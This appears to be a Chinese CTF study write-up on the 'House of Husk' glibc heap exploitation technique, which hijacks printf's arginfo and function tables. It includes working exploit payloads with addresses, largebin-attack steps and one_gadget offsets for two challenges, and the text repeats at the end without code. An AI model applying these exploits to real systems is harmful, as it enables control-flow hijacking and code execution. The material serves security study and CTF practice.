house of husk学习利用
字数 1733 2025-08-22 12:22:42

House of Husk 利用技术详解

1. 漏洞原理

House of Husk 是一种利用 glibc 中 printf 系列函数自定义格式化字符处理机制的漏洞利用技术。其核心原理如下:

  1. printf 函数自定义格式化字符机制

    • printf 函数通过检查 __printf_function_table 是否为空来判断是否有自定义的格式化字符
    • 如果是 printf 类格式字符串函数,会根据格式字符串种类执行 __printf_arginfo_table[spec] 处的函数指针
  2. 劫持点

    • 劫持 __printf_function_table 使其非空
    • 劫持 __printf_arginfo_table 使其表中存放的 spec 位置指向后门或构造的利用链
    • 当执行到 printf 函数时就可以劫持程序流
  3. spec 机制

    • spec 是格式化字符,例如 printf("%s\n",a) 中的 's'
    • 需要将 printf_arginfo_table[73] 的位置(即 &printf_arginfo_table+0x73*8 处)写入想要执行的地址
    • 73 是 's' 字符的 ASCII 码

2. 调用链分析

完整的调用链如下:

printf 
→ vfprintf 
→ printf_positional 
→ __parse_one_specmb 
→ (*__printf_arginfo_table[spec->info.spec])

3. 利用方法

3.1 基本利用步骤

  1. 劫持 __printf_function_table 使其不为空
  2. 劫持 __printf_arginfo_table
  3. 在表中对应 spec 字符偏移处写入目标函数地址
  4. 触发包含该 spec 字符的 printf 调用

3.2 例题分析:husk

题目特点

  • 静态链接
  • 利用 stack_chk_fail() 打印 flag

利用思路

  1. stack_chk_fail() 会将 libc_argv[0] 指向的字符串打印出来
  2. __libc_argv[0] 内容修改为 flag 的地址
  3. printf_function_table 置为非空
  4. printf_arginfo_table[spec] 篡改为 __stack_chk_fail() 来打印 flag

关键地址

stack_chk_fail = 0x4359B0
flag_addr = 0x6B4040
name_addr = 0x6B73E0
libc_argv = 0x6b7980
printf_function_table = 0x6b7a28  # __printf_function_table
printf_modifier_table = 0x6b7a30  # __printf_modifier_table
printf_arginfo_table = 0x6b7aa8   # __printf_arginfo_table

利用代码

payload = p64(flag_addr)
payload = payload.ljust(libc_argv - name_addr, b'a')
payload += p64(name_addr)  # libc_argv[0] -> name_addr -> flag

# 填充到__printf_function_table
payload = payload.ljust(0x6b7a28 - name_addr, b'a')
payload += p64(0x1)  # __printf_function_table != 0
payload += p64(0x0)  # __printf_modifier_table = 0

# 填充到_printf_arginfo_table
payload = payload.ljust(0x6b7aa8 - name_addr, b'a')
payload += p64(printf_arginfo_table)
payload += p64(0xdeadbeef) * (0x73 - 1)
payload += p64(stack_chk_fail)  # __printf_arginfo_table[73]

3.3 例题分析:DASCTF X HDCTF 2024

题目特点

  • libc 2.31
  • 限制:add 只允许 6 个堆块,大小只能在 largebin 范围
  • edit 和 show 只有一次机会
  • delete 第一次有 UAF,后面没有
  • magic 函数可以任意地址写一个字节

利用思路

  1. 使用 largebin attack 将 __printf_arginfo_table 写入一个堆地址
  2. 根据偏移查找堆上的函数进行执行
  3. 控制流劫持:
    • rcx = largebin attack 写入的堆地址
    • rdx = 0x73 ('s' 的 ASCII 码)
    • rax = 想要执行的函数
    • 最终会 call rax

利用代码

# 初始堆布局
add(0x520)  #0
add(0x520)  #1
add(0x500)  #2
add(0x500)  #3

# 泄露基址
free(0)  # UAF
free(2)
show(0)
base = u64(io.recv(8)) - 0x1ecbe0
heapbase = u64(io.recv(8)) - 0xa60

# 准备gadget
gadgets = [0xe3afe, 0xe3b01, 0xe3b04]
ogg = base + gadgets[0]
printf_function_table = base + 0x1f1318
printf_arginfo_table = base + 0x1ed7b0

# 布置堆内容
add(0x500, p64(ogg) * (0x500 // 0x8), 'xx')  #2
free(2)

# 修改printf_function_table不为0
gift(printf_function_table, 0xff)

# largebin attack
payload = p64(base + 0x1ed010) * 2 + p64(heapbase) + p64(printf_arginfo_table - 0x20)
edit(0, 'xx', payload)

# 触发
add(0x540)  #2
menu(-1)

4. 关键点总结

  1. 劫持目标

    • __printf_function_table 必须为非空
    • __printf_arginfo_table 必须可控
  2. spec 选择

    • 选择常用格式化字符如 's' (0x73)
    • 确保对应偏移处地址可控
  3. 利用场景

    • 需要能够控制全局变量区域(如 largebin attack)
    • 或者能够泄露相关地址
  4. 防护绕过

    • 适用于 Full RELRO 情况(因为不涉及 GOT 表)
    • 可以绕过某些保护机制
  5. 版本差异

    • 不同 glibc 版本中相关符号偏移可能不同
    • 需要根据具体环境调整

5. 防御措施

  1. 检查 printf 系列函数的格式化字符串是否可控
  2. 监控 __printf_function_table__printf_arginfo_table 的修改
  3. 使用更安全的字符串处理函数替代 printf 系列函数
  4. 启用完整的保护机制(如 ASLR、FORTIFY_SOURCE 等)

通过深入理解 House of Husk 技术,安全研究人员可以更好地防御此类攻击,而渗透测试人员可以将其纳入高级利用技术库中。

House of Husk 利用技术详解 1. 漏洞原理 House of Husk 是一种利用 glibc 中 printf 系列函数自定义格式化字符处理机制的漏洞利用技术。其核心原理如下: printf 函数自定义格式化字符机制 : printf 函数通过检查 __printf_function_table 是否为空来判断是否有自定义的格式化字符 如果是 printf 类格式字符串函数,会根据格式字符串种类执行 __printf_arginfo_table[spec] 处的函数指针 劫持点 : 劫持 __printf_function_table 使其非空 劫持 __printf_arginfo_table 使其表中存放的 spec 位置指向后门或构造的利用链 当执行到 printf 函数时就可以劫持程序流 spec 机制 : spec 是格式化字符,例如 printf("%s\n",a) 中的 's' 需要将 printf_arginfo_table[73] 的位置(即 &printf_arginfo_table+0x73*8 处)写入想要执行的地址 73 是 's' 字符的 ASCII 码 2. 调用链分析 完整的调用链如下: 3. 利用方法 3.1 基本利用步骤 劫持 __printf_function_table 使其不为空 劫持 __printf_arginfo_table 表 在表中对应 spec 字符偏移处写入目标函数地址 触发包含该 spec 字符的 printf 调用 3.2 例题分析:husk 题目特点 : 静态链接 利用 stack_chk_fail() 打印 flag 利用思路 : stack_chk_fail() 会将 libc_argv[0] 指向的字符串打印出来 将 __libc_argv[0] 内容修改为 flag 的地址 将 printf_function_table 置为非空 将 printf_arginfo_table[spec] 篡改为 __stack_chk_fail() 来打印 flag 关键地址 : 利用代码 : 3.3 例题分析:DASCTF X HDCTF 2024 题目特点 : libc 2.31 限制:add 只允许 6 个堆块,大小只能在 largebin 范围 edit 和 show 只有一次机会 delete 第一次有 UAF,后面没有 magic 函数可以任意地址写一个字节 利用思路 : 使用 largebin attack 将 __printf_arginfo_table 写入一个堆地址 根据偏移查找堆上的函数进行执行 控制流劫持: rcx = largebin attack 写入的堆地址 rdx = 0x73 ('s' 的 ASCII 码) rax = 想要执行的函数 最终会 call rax 利用代码 : 4. 关键点总结 劫持目标 : __printf_function_table 必须为非空 __printf_arginfo_table 必须可控 spec 选择 : 选择常用格式化字符如 's' (0x73) 确保对应偏移处地址可控 利用场景 : 需要能够控制全局变量区域(如 largebin attack) 或者能够泄露相关地址 防护绕过 : 适用于 Full RELRO 情况(因为不涉及 GOT 表) 可以绕过某些保护机制 版本差异 : 不同 glibc 版本中相关符号偏移可能不同 需要根据具体环境调整 5. 防御措施 检查 printf 系列函数的格式化字符串是否可控 监控 __printf_function_table 和 __printf_arginfo_table 的修改 使用更安全的字符串处理函数替代 printf 系列函数 启用完整的保护机制(如 ASLR、FORTIFY_ SOURCE 等) 通过深入理解 House of Husk 技术,安全研究人员可以更好地防御此类攻击,而渗透测试人员可以将其纳入高级利用技术库中。